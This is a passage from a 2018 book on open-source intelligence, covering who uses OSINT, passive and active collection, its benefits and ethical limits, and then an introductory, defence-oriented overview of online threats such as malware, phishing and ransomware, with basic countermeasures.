the price of gold falls more than 5 percent, this means the price of oil will fall too.” OSINT Types OSINT includes all publicly accessible sources of information. This information can be found either online or offline, including in the following places: • The Internet, which includes the following and more: forums, blogs, social networking sites, video-sharing sites like YouTube.com, wikis, Whois records of registered domain names, metadata and digital files, dark web resources, geolocation data, IP addresses, people search engines, and anything that can be found online • Traditional mass media (e.g., television, radio, newspapers, books, magazines) • Specialized journals, academic publications, dissertations, conference proceedings, company profiles, annual reports, company news, employee profiles, and résumés • Photos and videos including metadata • Geospatial information (e.g., maps and commercial imagery products) Digital Data Volume As you already saw, OSINT encompasses not only online sources. Paper editions of public sources must also get investigated thoroughly as part of any OSINT-gathering process; however, online sources comprise the largest segment of OSINT. Chapter 1 the evolution of open SourCe intelligenCe 6 Today we live in an information age, and publishers as well as corporations, universities, and other suppliers of OSINT sources are shifting their business processes to digital formats. The number of users on social media sites will also continue to increase, and the number of Internet of Things (IoT) devices will intensify in the future, leading to a huge increase in the volume of digital data coming from the billions of sensors and machines worldwide. In other words, most OSINT sources in the future will be online sources. Note! gartner estimates that 20.4 billion iot devices will be in use by 2020.v The volume of digital data is exploding rapidly. According to IDC Research,vi by the year 2020, the total amount of digital data created worldwide will reach 44 zettabytes, and the number will increase faster within five years to reach 180 zettabytes in 2025. By 2020, the Gartner research group estimates that an average person will spend time interacting with automated bots more than with their spouse, and of course all these interactions will be digital. Another estimate says that in 2021, 20 percent of all activities a human do will involve using a service from at least one of the giant IT companies (Google, Apple, Facebook, Amazon). Not to mention, most people will prefer to use voice commands to interact with their computing devices over typing. These figures should give you an idea about what the near future will look like in the digital age. The volume of digital data along with the increased number of people using the Internet to do their jobs will make online sources the primary source of OSINT for both governments and business corporations in the future. OSINT Organizations Some specialized organizations provide OSINT services. Some of them are government based, and others are private companies that offer their services to different parties such as government agencies and business corporations on a subscription basis. In this section, we will mention the main OSINT organizations worldwide. Chapter 1 the evolution of open SourCe intelligenCe 7 Government Organizations Government organizations working in OSINT analysis are still considered the best because of the resources available from their governments to do their jobs. The two most famous government agencies that do OSINT globally are the Open Source Center in the United States and BBC Monitoring in Great Britain. Open Source Center We already talked about the Open Source Center (OSC); it is the largest OSINT organization and has vast resources to do its job. OSC works closely with other local intelligence agencies in the United States and offers its services to U.S. government intelligence agencies. BBC Monitoring BBC Monitoring (https://monitoring.bbc.co.uk/login) is a department within the British Broadcasting Corporation (BBC) that monitors foreign media worldwide. It has a similar role as the Open Source Center in the United States, with the main difference being that it does not belong to British Intelligence. BBC Monitoring is funded from its stakeholders in addition to many commercial and governmental entities around the world. It was first established in 1939 and has offices in different countries around the globe. It actively monitors TV, radio broadcast, print media, Internet, and emerging trends from 150 countries in more than 70 languages. BBC Monitoring is directed by the BBC and offers its services on a subscription basis to interested parties such as commercial organizations and UK official bodies. Private Sector You should not underestimate the private sector when looking at who supplies OSINT information; many private corporations have developed advanced programs and techniques to gathers data from public sources for commercial gain. Indeed, most private OSINT corporations partner with government agencies to supply them with such information. In this section, we will mention the main ones around the globe. Chapter 1 the evolution of open SourCe intelligenCe 8 Jane’s Information Group Jane’s Information Group (http://www.janes.com) is a British company founded in 1898. Jane’s is a leading provider that specializes in military, terrorism, state stability, serious and organized crime, proliferation and procurement intelligence, aerospace, and transportation subjects. It publishes many journals and books related to security matters in addition to its OSINT sources that track and predict security matters in 190 states and 30 territories. Economist Intelligence Unit The Economist Intelligence Unit (https://www.eiu.com/home.aspx) is the business intelligence, research, and analysis division of the British Economist Group. The main domain of the Economist Intelligence Unit is its business and financial forecasts; it offers a monthly report in addition to a country economic forecast for the coming five years with a comprehensive view about current trends on economic and political issues. Oxford Analytica Oxford Analytica (http://www.oxan.com) is a relatively small OSINT firm compared with the previous two. Oxford Analytica specializes in geopolitics and macroeconomics subjects. It has a global macro expert network to advise its clients on the best practices of strategy and performance when accessing complex markets. Its expert networks contain more than 1400 experts. Most of them are scholars on their subject, senior faculty members in top universities, and high-profile specialists in their sector. Gray Literature Vendors We already talked about gray literature as part of OSINF data. However, this type of data deserves to have its own reference when talking about the main sources of information used in OSINT gathering because of its great intelligence value. Gray literature is mainly produced by the world’s publishing companies. It includes books, journals, newspapers, and anything published publicly. However, there is another type of gray literature called gray information that has different acquisition requirements. Chapter 1 the evolution of open SourCe intelligenCe 9 Usually the terms gray literature and gray information are used interchangeably. However, in the intelligence arena, they are slightly different. Gray literature refers to all publications that can be obtained from traditional bookstore channels, while gray information refers to other publications that cannot be obtained from traditional routes. Hence, gray information has its own channels, and it may be difficult to identify and acquire it. Gray information includes the following and more: academic papers, preprints, proceedings, conference and discussion papers, research reports, marketing reports, technical specifications and standards, dissertations, theses, trade publications, memoranda, government reports and documents not published commercially, translations, newsletters, market surveys, trip reports, and festival agendas. Gray literature can be divided into three main kinds. • White: This includes anything published publicly for sale through traditional bookstore channels. The publication should have an ISBN or ISSN and can be obtained directly from its seller. Books, journals, and newspapers fall in this category. • Ephemeral: This type is short-lived. Examples include flight schedules, draft versions, copies of invoices, advertisements, posters, tickets, business cards, and anything that is self-published. • Gray: This contains a mix of the previously mentioned two types. Generally, gray literature can be obtained by paying subscription fees for such content or through buying books, journals, magazines, and other publications directly from bookstores. To acquire more hidden gray information, you have to use other specialized services. The following are some of them. Factiva Factiva (http://new.dowjones.com/products/factiva) is a global news database with licensed content. It harvests data from more than 33,000 premium sources, and many of these sources (74 percent) are licensed and cannot be found freely online. Factiva collects sources in 28 languages in addition to its unique service of being able to provide access to resources that have not been published yet by their creators. Chapter 1 the evolution of open SourCe intelligenCe 10 LexisNexis LexisNexis (https://www.lexisnexis.com/en-us/gateway.page) is currently owned by RELX Group (formerly Reed Elsevier). It originally focused on providing high-quality legal and journalistic documents, but it has expanded its coverage to include more services such as media monitoring tools, supply management tools, sales intelligence solutions, market intelligence tools, and risk solutions that analyze public and industry- specific content to predict risk and improve decision-making. The following are other companies that specialize in gathering online intelligence from both public and private sources: • InsideView (https://www.insideview.com) • NewsEdge (www.newsedge.com) • Semantic Visions (www.semantic-visions.com) • DigitalGlobe (www.digitalglobe.com) Parties Interested in OSINT Information OSINT can be beneficial for different actors. In this section, we will list them and explain what motivates each one to search for OSINT resources. Government Government bodies, especially military departments, are considered the largest consumer of OSINT sources. The huge technological developments and widespread use of the Internet worldwide have made governments a huge consumer for OSINT intelligence. Governments need OSINT sources for different purposes such as national security, counterterrorism, cybertracking of terrorists, understanding domestic and foreign public views on different subjects, supplying policy makers with required information to influence their internal and external policy, and exploiting foreign media like TV to get instant translations of different events happening outside. Intelligence agencies combine legally accessible information with their secretly acquired intelligence (for example, using spy satellite images, electronic listening stations, and spies) to answer a specific question or to predict the future. Those people have the required resources (money and equipment) to capture and analyze huge Chapter 1 the evolution of open SourCe intelligenCe 11 quantities of data on the Internet. The act of mining OSINT data by governments is expected to intensify as we move steadily toward what is now a digital age. International Organizations International organizations like the UN use OSINT sources to support peacekeeping operations around the globe. The UN balances superpowers’ and emerging nation- states’ concerns when creating its policy, which requires it to be as transparent as possible. To achieve this, the UN found that it is more convenient to exploit OSINT sources (including commercial satellite images) for intelligence needs instead of depending on reports from its member states, which may have conflicting policies. Humanitarian organizations, like the International Red Cross, use OSINT sources to aid them in their relief efforts in a time of crisis or disaster. They use OSINT intelligence to protect their supply chain from terrorist groups by analyzing social media sites and Internet messaging applications to predict future terrorist actions. NATO depends heavily on OSINT sources for intelligence purposes and for making plans for peacekeeping operations. It also benefits from commercial satellite imagery to plan operations because not all NATO member states have such facilities. NATO has published three standard references about how to exploit OSINT to the public. The first one is NATO Open Source Intelligence Handbook (https://archive.org/ details/NATOOSINTHandbookV1.2). The second is NATO Open Source Intelligence Reader (http://www.au.af.mil/au/awc/awcgate/nato/osint_reader.pdf). The third one is NATO Intelligence Exploitation of the Internet (http://nsarchive2.gwu.edu//NSAEBB/ NSAEBB436/docs/EBB-005.pdf). Law Enforcement Agencies Police uses OSINT sources to protect citizens from abuse, sexual violence, identity theft, and other crimes. This can be done by monitoring social media channels for interesting keywords and pictures to help prevent crimes before they escalate. Law enforcement uses OSINT to monitor and track a criminal’s networks across different countries. For example, they use OSINT tactics to compile information about people of interest to create a complete profile for each one. They also use OSINT sources for online counterfeiting and copyright violations. Chapter 1 the evolution of open SourCe intelligenCe 12 Business Corporations Information is power, and corporations use OSINT sources to investigate new markets, monitor competitors’ activities, plan marketing activities, and predict anything that can affect their current operations and future growth. In the past, exploiting OSINT sources was limited to big businesses with good intelligence budgets. Nowadays, with the widespread use of the Internet, small companies with limited budgets can exploit OSINT sources effectively and merge acquired information into their business plans. Businesses also use OSINT intelligence for other nonfinancial purposes such as the following: • To fight against data leakage, knowing that the business exposure of confidential information and the security vulnerabilities of their networks is a cause of future cyberthreats • To create their threat intelligence strategies through analyzing OSINT sources from both outside and inside the organization and then combining this information with other information to accomplish an effective cyber-risk management policy that helps them to protect their financial interests, reputation, and customer base OSINT is specifically useful for companies working in the defense industry, as such companies need to be fully aware of the surrounding circumstances of their customers to develop and target them with the appropriate equipment. Penetration Testers and Black Hat Hackers/Criminal Organizations OSINT is used extensively by hackers and penetration testers to gather intelligence about a specific target online. It is also considered a valuable tool to assist in conducting social engineering attacks. The first phase of any penetration testing methodology begins with reconnaissance (in other words, with OSINT). Figure 1-1 details the main phases of penetration testing. Chapter 1 the evolution of open SourCe intelligenCe 13 Penetration testers are paid by companies to break into internal networks to show where weaknesses lie and how to keep outsiders out. This is different from black hat hackers who exploit these vulnerabilities to gain unauthorized access to confidential data; however, both use the same reconnaissance techniques and tools to achieve their work. Privacy-Conscious People These are ordinary people who might want to check how outsiders can break into their computing devices and what their ISP knows about them. They also need to know their online exposure level to close any security gap and delete any private data that may have been published inadvertently. OSINT is a great tool to see how your digital identity appears to the outside world, allowing you to maintain your privacy. Individuals can also use OSINT to fight against identity theft, for example, in case someone is impersonating you. During this book, we will teach you different techniques to search for text, images, and video, as well as digital file metadata. Indeed, all Internet users are using OSINT techniques in one way or another, such as when searching for something online. Whether it is a company, school, university, or person you are looking for, you are collecting some form of OSINT intelligence. Terrorist Organizations Terrorists use OSINT sources to plan attacks, collect information about targets before attacking them (like when using satellite images such as Google Maps to investigate the target location), procure more fighters by analyzing social media sites, acquire military information revealed accidentally by governments (like how to construct bombs), and spread their propaganda across the world using different media channels. Figure 1-1. Penetration testing methodology (source: http://www.DarknessGate.com) Chapter 1 the evolution of open SourCe intelligenCe 14 Information Gathering Types OSINT sources can be collected using three main methods: passive, semipassive, and active. The usage of one in favor of another is dependent on the scenario in which the gathering process operates in addition to the type of data that you are interested in. The three gathering techniques are generally used to describe the ways in which footprinting works, in other words, acquiring technical information about target IT infrastructure (types of OS, network topology, server names, and so on). However, bear in mind that this book will teach you different techniques to collect OSINT intelligence, and technical footprinting is considered a kind of information gathering. Passive Collection This is the most used type when collecting OSINT intelligence. Indeed, all OSINT intelligence methods should use passive collection because the main aim of OSINT gathering is to collect information about the target via publicly available resources only. In this type, your target knows nothing about your intelligence-collecting activities. This kind of search is highly anonymous and should be done secretly. From a technical perspective, this type of gathering reveals limited information about the target because you do not send any traffic (packets) to the target server—either directly or indirectly— and the main resources that you can gather are limited to archive information (mainly outdated information), unprotected files left on target servers, and content present on the target website. Semipassive From a technical view, this type of gathering sends limited traffic to target servers to acquire general information about them. This traffic tries to resemble typical Internet traffic to avoid drawing any attention to your reconnaissance activities. In this way, you are not implementing in-depth investigation of the target’s online resources, but only investigating lightly without launching any alarm on the target’s side. Although this type of gathering is considered somehow anonymous, the target can know that there is reconnaissance happening if they investigate the issue (by checking the server or networking device logs). However, they should not be able to attribute it to the attacker’s machine. Chapter 1 the evolution of open SourCe intelligenCe 15 Active Collection In this type, you interact directly with the system to gather intelligence about it. The target can become aware of the reconnaissance process since the person/entity collecting information will use advanced techniques to harvest technical data about the target IT infrastructure such as accessing open ports, scanning vulnerabilities (unpatched Windows systems), scanning web server applications, and more. This traffic will look like suspicious or malicious behavior and will leave traces on the target’s intrusion detection system (IDS) or intrusion prevention system (IPS). Conducting social engineering attacks on the target is also considered a type of active information gathering. As we said earlier, active collection and semipassive collection are types of information gathering, but you usually do not use them in OSINT gathering. Passive collection is preferred because it can harvest information from public sources secretly, and this is the essence of OSINT. Benefits of OSINT In today’s information age, no one can underestimate the vital role that OSINT plays in the different intelligence arenas. The benefits of OSINT span many areas in today’s world. The following are the main ones: • Less risky: Using publicly available information to collect intelligence has no risk compared with other forms of intelligence such as using spying satellites or using human sources on the ground to collect information, especially in hostile countries. • Cost effective: Collecting OSINT is generally less expensive compared with other intelligence sources. For instance, using human sources or spying satellite to collect data is costly. Small businesses with limited intelligence budgets can exploit OSINT sources with minimal costs. • Ease of accessibility: OSINT sources are always available, no matter where you are, and are always up-to-date. OSINT sources can be used by different parties in any intelligence context; all you need are the required skills/tools to harvest and analyze OSINT properly. For example, military departments can predict future attacks by analyzing activities on social networking sites, while corporations can use it to build their new market expansion strategies. Chapter 1 the evolution of open SourCe intelligenCe 16 • Legal issues: OSINT resources can be shared between different parties without worrying about breaching any copyright license as these resources are already published publicly. Of course, some limitations apply when sharing gray literature; we already covered this in a previous section. • Aiding financial investigators: OSINT allows specialized government agencies to detect tax evaders, for instance. Many famous celebrities and some giant companies are involved in tax evasion, and monitoring their social media accounts, vacations, and lifestyles has a great value for a government inspector who may be chasing them for undeclared income. • Fighting against online counterfeiting: OSINT techniques can be used to find false products/services and direct law enforcement to close such sites or to send warnings to users to stop dealing with them. This is a great advantage of OSINT, especially when fighting against counterfeit pharmaceutical and natural health products. • Maintaining national security and political stability: This might be the most important role of OSINT; it helps governments to understand their people’s attitudes and act promptly to avoid any future clashes. Wise governments utilize OSINT in their future strategies, especially for their domestic policies. Challenges of Open Source Intelligence All intelligence gathering methodologies have some limitations, and OSINT is not exempt from this rule. In this section, we will mention some of the challenges that face OSINT gathering. • Sheer volume of data: Collecting OSINT will produce a huge amount of data that must be analyzed to be considered of value. Of course, many automated tools exist for this purpose, and many governments and giant companies have developed their own set of artificial intelligence tools and techniques to filter acquired data. However, the tremendous volume of data will remain a challenge for the OSINT gatherer. Chapter 1 the evolution of open SourCe intelligenCe 17 • Reliability of sources: Bear in mind that OSINT sources, especially when used in the intelligence context, need to be verified thoroughly by classified sources before they can be trusted. Many governments broadcast inaccurate information to mislead the OSINT-gathering process. • Human efforts: As we already mentioned, the sheer volume of data is considered the greatest challenge for OSINT collection. Humans need to view the output of automated tools to know whether the collected data is reliable and trustworthy; they also need to compare it with some classified data (this is applicable for some military and commercial information) to assure its reliability and relevance. This will effectively consume time and precious human resources. Legal and Ethical Constraints Despite the great importance of OSINT, it has legal concerns when analyzed or captured in many cases. For example, if someone acquires OSINT sources by illegal means to justify an honest case, how should the legal system handle it? Another dilemma is when the OSINT sample is minimized or selected according to the collector’s need. They could effectively discard important sources purposely in favor of bringing about a specific outcome. Another concern is when some forms of hidden public information are collected and publicized widely as part of a scandal. As you are going to see in this book, a lot of public information cannot be viewed by the regular Internet user and needs specific techniques/methods to acquire. What is the consequence for such things? What will be the effects on some groups or individuals when revealing such information about them? What are the moral consequences? Over the past five years, many whistleblowers have stolen classified information from well-guarded agencies and institutions and published it online (Edward Snowden is a clear example). Should we consider this information belonging to the public source? Of course, military departments around the world will be thirsty for such information, but should we use it—as individuals or companies—as a public source for our intelligence? Chapter 1 the evolution of open SourCe intelligenCe 18 Many corporations (Facebook and Google are examples) harvest a large volume of online user data for commercial intelligence; most of this data belongs to the user’s actions and behavior online and cannot be used to recognize the user’s real identity. For instance, there are two types of data that can be collected online: • Sensitive personal information (SPI) such as name, Social Security number, place of birth, parents’ names, passport or ID number • Anonymous information such as technical information like your OS type and version, browser version, IP address, connected device location, and anything that is shared between more than one connected user To justify the collection, these corporations say they acquire only anonymous data, but what if this anonymous information has been combined with other sources to become SPI? How should such information be handled by the OSINT analyst? The final legal concern that we are going to cover is the reliance on automated machines to collect and analyze OSINT information. Can we trust the outcome of automated machines and treat it just like the data collected by humans? What if there is a software flaw in the tool that produces inaccurate output that leads to harmful consequences? How we can find a balance between using automated machines, which are necessary in the OSINT-gathering process, and remaining ethical? The limitations of OSINT in addition to its legal constraints should encourage its adopters to follow an individualized and tailored approach when using it. Summary In this chapter, you discovered the essence of OSINT, its types and users, and how it can be used in different contexts by different parties to gain intelligence. We distinguished between different ways to gather information online (mainly technical footprinting) and talked briefly about what things each method cares about. We concluded by talking about the advantages and limitations of OSINT gathering. No information-gathering methodology is considered 100 percent complete; however, with the right planning and sufficient resources and expertise, exploiting OSINT will produce accurate results on a great scale. Chapter 1 the evolution of open SourCe intelligenCe 19 OSINT is a great place to get intelligence about future events, but acquiring OSINT alone is not enough to produce accurate results. For instance, to achieve the best results from OSINT sources, some value-added tasks must be considered during the analysis phase, such as using an expert analyst, merging OSINT information with classified information when handling military information, and adopting the right techniques to acquire nonbiased OSINT intelligence. This chapter was an introduction to the subject. In the following chapters, we will thoroughly cover a plethora of techniques and tools to harvest and analyze OSINT information. Before we begin diving into the world of OSINT, though, it is essential to learn how to maintain our digital privacy and obscure our online activities when conducting OSINT gathering, and this will be the subject of the next chapter. Notes i. Juniperresearch, “CYBERCRIME WILL COST BUSINESSES OVER $2 TRILLION BY 2019” August 25, 2017. https://www. juniperresearch.com/press/press- releases/cybercrime- cost-businesses-over-2trillion ii. Gpo, “Public Law 109-163 109th Congress” August 25, 2017.https://www.gpo.gov/fdsys/pkg/PLAW-109publ163/html/ PLAW-109publ163.htm iii. CIA, “Intelligence in Public Literature “August 25, 2017.https:// www.cia.gov/library/center-for-the-study-of- intelligence/csi-publications/csi- studies/studies/vol.- 56-no.-1/no-more-secrets-open-source-information-and- the-reshaping-of-u.s.-intelligence.html iv. Fas, “Final Report of the Commission on the Intelligence Capabilities of the United States Regarding Weapons of Mass Destruction” August 25, 2017. https://fas.org/irp/offdocs/ wmdcomm.html Chapter 1 the evolution of open SourCe intelligenCe 20 v. Gartner, “Gartner Says 8.4 Billion Connected ‘Things’ Will Be in Use in 2017, Up 31 Percent From 2016” August 25, 2017. https://www.gartner.com/newsroom/id/3598917 vi. Comsoc, “IDC Directions 2016: IoT (Internet of Things) Outlook vs Current Market Assessment” August 25, 2017. http://techblog. comsoc.org/2016/03/09/idc-directions-2016-iot-internet- of-things-outlook-vs-current-market-assessment Chapter 1 the evolution of open SourCe intelligenCe 21 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_2 CHAPTER 2 Introduction To Online Threats and Countermeasures As you do your research for OSINT, you will certainly leave digital traces behind that can be used to track you. For example, consider an investigator performing an online search for drug dealers in Mexico. What if the people the investigator was searching for discovers his search? What if they could learn the source of the search (the organization or the person behind the search) and the searcher’s location? If you think that criminal organizations are not technically savvy, we’re afraid you are wrong. Terrorists and criminal organizations have specialized teams working in IT to gather intelligence online, and even small criminal organizations with limited budgets outsource such tasks to specialized organizations for a fee. As you saw in Chapter 1, OSINT is beneficial to many user groups. We already gave an example for an investigator searching for drug dealers; however, the same thing applies to anyone conducting OSINT searches such as individuals, government entities, business corporations, and even NGOs and global organizations like NATO. Revealing the searcher’s identity when conducting OSINT searches can have dangerous—and even legal—consequences on some user segments. In this chapter, we will teach you how to conceal your digital identity and become anonymous online. You will learn how to exchange data secretly across hostile environments like the Internet and how to communicate with your peers privately and anonymously. You will also learn how to check your digital footprint and discover what kind of digital traces you are leaving behind. But before we begin, we will cover online 22 threats and how outside adversaries can exploit computing devices and networks to steal confidential information. Countermeasures and best practices to maintain your online security and privacy will be thoroughly covered. This is the longest chapter in this book; you can consider it as a mini book that teaches you how to work online privately. This knowledge is mandatory, as you cannot conduct OSINT searches with your real identity. Note! We cannot teach you how to become 100 percent anonymous in one chapter. However, to begin conducting your OSINT search, this chapter is enough to help you avoid attracting outside observers to your OSINT-gathering activities. To understand all concepts in depth and learn how different actors can invade your privacy, you should read our book Digital Privacy and Security Using Windows (https://www.apress.com/gp/book/9781484227985), which is considered the perfect companion to this book. If you already have this book, you can skip this chapter. Online Threats Despite its great benefits to humanity, the Internet is still a hostile environment. Bad guys are always out there to disrupt your life. In this section, we will list the main risks that Internet users face when going online, and we will give brief advice/ countermeasures for each one. Malware Malware is short for “malicious software.” It is the term used for any malicious software/ code that can damage to your computing device or steal your confidential information without your consent. There are different kinds of malware such as viruses, spyware, rootkits, worms, ransomware, scareware, and adware. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 23 Note! There are many websites that offer free samples of live malicious code (malware) for security researchers, incident responders, forensic analysts, and any interested party. Some of these sites are the following: https://virusshare.com https://www.virustotal.com http://malc0de.com/database https://virusscan.jotti.org Black Hat Hackers Black hat hackers are people with sophisticated computing skills. They aim to invade private networks and break into other people computing devices to steal personal information or to conduct other malicious acts. They usually exploit vulnerabilities in the OS, in application programs, or in networking devices to gain unauthorized access. After gaining access, they may install a keylogger or a Trojan horse to maintain their access, steal information, or spy on user activities. Pharming Pharming is a cyberattack intended to redirect users from a legitimate website to a fraudulent site without their knowledge. Pharming can be conducted either by changing the hosts file on a victim’s computer or by poisoning the Domain Name System (DNS) server records with false information to lead users to unwanted destinations. Windows users can prevent this type of attack on their local machines by preventing hosts file modifications through the following steps: 1. Navigate to the %SYSTEMDRIVE%\Windows\Ssystem32\drivers\etc folder (SYSTEMDRIVE is where you installed Windows, usually at C:\). 2. Right-click the hosts file, select Properties, and select the Read- only attribute; finally, click OK (see Figure 2-1). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 24 Note! You can edit the Windows hosts file using a feature-rich tool. Such tools allow you to add entries to block malware sites and enable or disable the hosts file. Check out Hostsman (www.abelhadigital.com/hostsman) and Sysmate - Hosts File Walker (https://sourceforge.net/projects/sysmate-hosts- file-walker/). Phishing Phishing is a kind of social engineering attack where an attacker uses psychological tricks (social tricks) over the phone or uses a computing device (emails, IM chat) to convince people to hand over sensitive information about themselves or an organization and its computer systems. Phishing emails appear as if they were sent by a legitimate company or someone you know (such as an individual on your contact list). These emails usually contain a link that the user must click to access/update an online account (for example, a bank or social site account). Upon clicking such links, the user will be directed to a fraudulent website that appears legitimate. When the user provides their credentials, the attacker will store them for later use and direct the user to the original website. Figure 2-1. Changing the hosts file attributes to Read-only to avoid pharming attacks on Windows machines CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 25 Phishing emails have some characteristics that anyone can spot. Here is a list of the main ones: • They use threatening or urgent words in the subject line to encourage the user to act promptly. They usually ask you to update your online account or to send your personal details by replying to the email. • Some phishing emails offer prizes, work-from-home vacancies with large salaries and no qualifications necessary, or business investments with high profits. Then they ask for your contact details for further negotiations. • Phishing emails look unprofessional and contain many grammatical errors; they also originate from a different domain than the company they pretend to represent. For example, an email from PayPal should come from the PayPal.com domain and not from xyz.PayPal.com. Whenever you suspect an email to be a phishing email, do not reply to it. To check whether it is a phishing email, rest your mouse (but don’t click) over the links in the email to see whether the address matches the link that was typed in the message or the sender domain name. In addition, do not supply any personal information if a phishing email asks you to fill any forms (see Figure 2-2). CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 26 Some attackers use URL-shortening services to mask the real phishing URL sent to the user. If you suspect that a short URL could be a scam, you can expand it using these free online services to see its destination: • http://checkshorturl.com • www.getlinkinfo.com • http://wheredoesthislinkgo.com • https://linkexpander.com Note! lehigh university provides different types of phishing emails with a short description about each one (https://lts.lehigh.edu/phishing/ examples). The site at www.phishing.org/phishing-examples offers sample phishing emails also. Figure 2-2. Example phishing email pretending to be from Google CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 27 If you suspect that you are a victim of a phishing attack, contact the Federal Trade Commission at https://www.ftc.gov/complaint and raise a complaint. You can report an identity theft on the same page if you suspect that someone or a company is misusing your private data. You can also file a complaint on the FBI website at https://www.ic3. gov/complaint/default.aspx. Ransomware Ransomware is malware that installs silently on the user’s computer or mobile device; it works by locking the user’s access to his files—or screen—by encrypting all user data on the device in addition to all the data on the attached storage devices (USB flash, external HDD, or SSD) and then requesting a ransom to remove the restriction. Some types of ransomware threaten victims to publish their data publicly if they refuse to pay the ransom. The ransom is usually paid through anonymous online payment methods like Bitcoin—which is a kind of digital currency—to get the decryption key. Ransomware infection comes through a variety of methods. For example, a ransom could be attached to spam emails, installed upon visiting malicious websites, or installed as part of a legitimate program that has been modified by an attacker to conceal the ransomware within it. It can also get dropped by other malware such as a Trojan horse or exploit kits. There are two main types of ransomware. • The first type—also known as locker-ransomware locks the system screen in a way that is easy for an experienced computer user to unlock the restriction. • The second type—also known as crypto-ransomware—encrypts whole disk drive or some files types, including all attached removable storage, and requests a ransom to remove the restriction. A special variant of ransomware attacks the master boot record (MBR) of the vulnerable system, thus preventing the OS from booting unless the victim pays the ransom. To counteract ransomware attacks, follow these steps: 1. Back up all necessary files regularly. All operating system types have special backup functionality. In Windows 10, you can access the backup functionality through Windows Settings (Windows + I) ➤ Update & Security ➤ Backup. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 28 2. Regularly install all security patches for the operating system and all installed applications and keep them all up-to-date. 3. Install antivirus and anti-malware solutions if possible and keep them up-to-date. 4. Do not run macros in Microsoft Office files when receiving such files from an unknown user or when downloading them from the Internet. If a ransom attack successfully compromises your system, follow these steps: 1. Disconnect your computer from the network/Internet. 2. Perform a full scan of all connected devices/storage media. 3. Seek advice from a specialist to find out the ransomware type as there are removal tools available for specific ransomware families. 4. Format affected devices if necessary and perform an OS reinstall. 5. Restore your data from a previous clean backup. 6. Inform law enforcement about the case and do not pay the ransom. Tip Crypto Sheriff (https://www.nomoreransom.org/crypto-sheriff. php?lang=en) helps users recover from ransomware attacks by offering a free service to check the type of ransomware affecting your device and then helping you to download the decryption solution if available. Adware and Spyware Adware is a kind of advertisement software that tracks users’ online activities to display corresponding ads, thus generating revenue for its author. It is usually installed as part of free Internet programs such as system utilities, games, or browser toolbars. You cannot consider all adware software as being malicious because many of them are installed as part of legitimate software that declares the existence of adware as part of its end- user license agreement (EULA). However, most users simply click the “I agree” button without knowing that they are installing adware on their machine. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 29 Spyware is another kind of tracking software; however, it is for malicious purposes only. Spyware monitors everything you type on your keyboard and sends it to its operator. Some types install other malware (like ransomware) on your machine to facilitate performing other malicious actions. Trojan This is a kind of malicious computer program that installs silently on the victim machine. It enables its operator to have full control over the victim machine including the camera and microphone. Most of the popular banking threats come from a Trojan family like Zeus and SpyEye. Virus This is what most non-computer-savvy users mean when talking about malicious computer programs. Viruses are considered one of the oldest traditional risks since the early days of personal computers. The main intent of a virus is to make the victim operating system inoperable, thus forcing the user to format it to return to its original state. Worms The Morris worm, or Internet worm, was one of the first to be seen in the wild. In November 1988, it was distributed via the Internet and caused significant damage to the infected systems. This is now another type of old-school attack that is still widely used. The main intent of a worm is to spread from one machine to another through internal networks or the Internet to spread malicious code. By replicating itself, worms consume a great amount of network bandwidth—for example, sending files via emails—thus causing great damage to corporate networks. Worms can also install backdoors on computers. Scareware Scareware is a kind of malicious software—also known as deception software, rogue scanner software, or fraudware—that tricks the victim into purchasing security software (such as antivirus and anti-malware) to remove the infection from their PC. For example, a user can see a pop-up message on their PC stating that it is infected with malware and should act promptly by purchasing a special anti-malware solution—which is fake!—to clean the PC. The idea here is to trick the user into purchasing something unnecessarily to take the user’s money. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 30 Worm infections can be mitigated through installing security software and keeping your OS and antivirus solution up-to-date. Distributed Denial of Service A distributed denial-of-service (DDoS) attack happens when many compromised computing devices flood a target computer—for example, a server—with many fake requests simultaneously, making it unresponsive to serve legitimate users. This attack targets a large number of entities such as banks, shopping websites, and news agencies. Unlike other attacks that aim to steal confidential data, the main aim of a DDoS attack is to make your website and servers unavailable to legitimate users. Rootkits A rootkit is a dangerous type of malware; it can potentially gain administrative access over the system and can prevent normal detection programs (antivirus and anti-rootkit programs) from noticing its presence. Some dangerous rootkits attack at the hardware level (firmware rootkit), and removal may require hardware replacement or specialized intervention. Rootkit detection is difficult because there is no single security solution that can remove all known and unknown rootkits. However, there are many valuable programs that can remove a large number of rootkit types, as you’ll see later in the chapter. Juice Jacking This is a type of cyberattack where an attacker copies data or installs malware onto a victim’s smartphone/tablet when the victim connects a device—through USB cable—to a public charging station that has been modified to play a malicious role. Public charging stations can be found at airports, hotels, shopping centers, and conferences. Wi-Fi Eavesdropping Free Wi-Fi access points are spread almost everywhere. An attacker can exploit vulnerabilities in such devices to intercept all the communication—via phone calls, instant messages, and video conferences—that’s gone through them. It is highly recommended not to use free Wi-Fi service in public places unless a strong virtual private network (VPN) has been used to protect the connection. CHapTer 2 INTrOduCTION TO ONlINe THreaTS aNd COuNTermeaSureS 31 Security Software It is essential to install an antivirus solution on your computer before a malicious piece of software compromises it. Having an antivirus program is considered the first line of defense against cyberattacks. New viruses are created nearly every minute. It is the job of the antivirus software to keep up with the latest threats. Bear in mind that having an antivirus program installed on your machine does not give you 100 percent protection. With the sophistication of modern cyberattacks, you need more than one measure to protect your computing devices and network. For instance, installing a firewall solution is equally essential as the antivirus program. Many antivirus solutions come equipped with a built-in firewall. In this book, we will mention only the free products. Antivirus Commercial antivirus solutions are always better than their free counterparts (see Table 2-1), so we will begin by talking about the recommended features that must be existed within any antivirus solution to be considered useful. • It should be equipped with a built-firewall. • It should be able to scan email clients—such as Thunderbird and Outlook—and detect phishing attacks. • It must update itself automatically and discover zero-day malware before it hits your machine. • It should be able to detect advanced malware like rootkits and ransomware and all kinds of malicious software like adware and spyware. • It should protect your browser from browser exploits and have DNS protection. • It must not consume high computing resources to operate. CHapTer 